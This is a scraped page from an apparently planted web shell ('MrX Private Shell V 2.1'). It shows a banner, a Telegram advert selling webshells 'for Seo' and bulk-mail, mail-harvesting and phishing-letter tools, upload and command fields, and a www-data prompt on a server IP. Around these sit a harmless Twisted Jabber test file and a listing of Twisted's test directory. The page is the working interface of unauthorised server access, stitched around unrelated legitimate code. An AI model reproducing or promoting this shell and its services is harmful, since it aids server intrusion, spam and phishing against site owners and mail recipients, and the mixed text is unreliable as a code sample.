__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Tests for L{twisted.words.protocols.jabber.jstrports}.
"""


from twisted.application.internet import TCPClient
from twisted.trial import unittest
from twisted.words.protocols.jabber import jstrports


class JabberStrPortsPlaceHolderTests(unittest.TestCase):
    """
    Tests for L{jstrports}
    """

    def test_parse(self):
        """
        L{jstrports.parse} accepts an endpoint description string and returns a
        tuple and dict of parsed endpoint arguments.
        """
        expected = ("TCP", ("DOMAIN", 65535, "Factory"), {})
        got = jstrports.parse("tcp:DOMAIN:65535", "Factory")
        self.assertEqual(expected, got)

    def test_client(self):
        """
        L{jstrports.client} returns a L{TCPClient} service.
        """
        got = jstrports.client("tcp:DOMAIN:65535", "Factory")
        self.assertIsInstance(got, TCPClient)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 14 B 0644
test_basechat.py File 2.45 KB 0644
test_basesupport.py File 2.93 KB 0644
test_domish.py File 18.94 KB 0644
test_irc.py File 103.25 KB 0644
test_irc_service.py File 9.81 KB 0644
test_ircsupport.py File 10.48 KB 0644
test_jabberclient.py File 16.16 KB 0644
test_jabbercomponent.py File 13.58 KB 0644
test_jabbererror.py File 11.26 KB 0644
test_jabberjid.py File 6.91 KB 0644
test_jabberjstrports.py File 945 B 0644
test_jabbersasl.py File 8.95 KB 0644
test_jabbersaslmechanisms.py File 5.92 KB 0644
test_jabberxmlstream.py File 44.04 KB 0644
test_jabberxmppstringprep.py File 5.36 KB 0644
test_service.py File 27.99 KB 0644
test_tap.py File 2.36 KB 0644
test_xishutil.py File 9.11 KB 0644
test_xmlstream.py File 5.92 KB 0644
test_xmpproutertap.py File 2.39 KB 0644
test_xpath.py File 10.56 KB 0644
Filemanager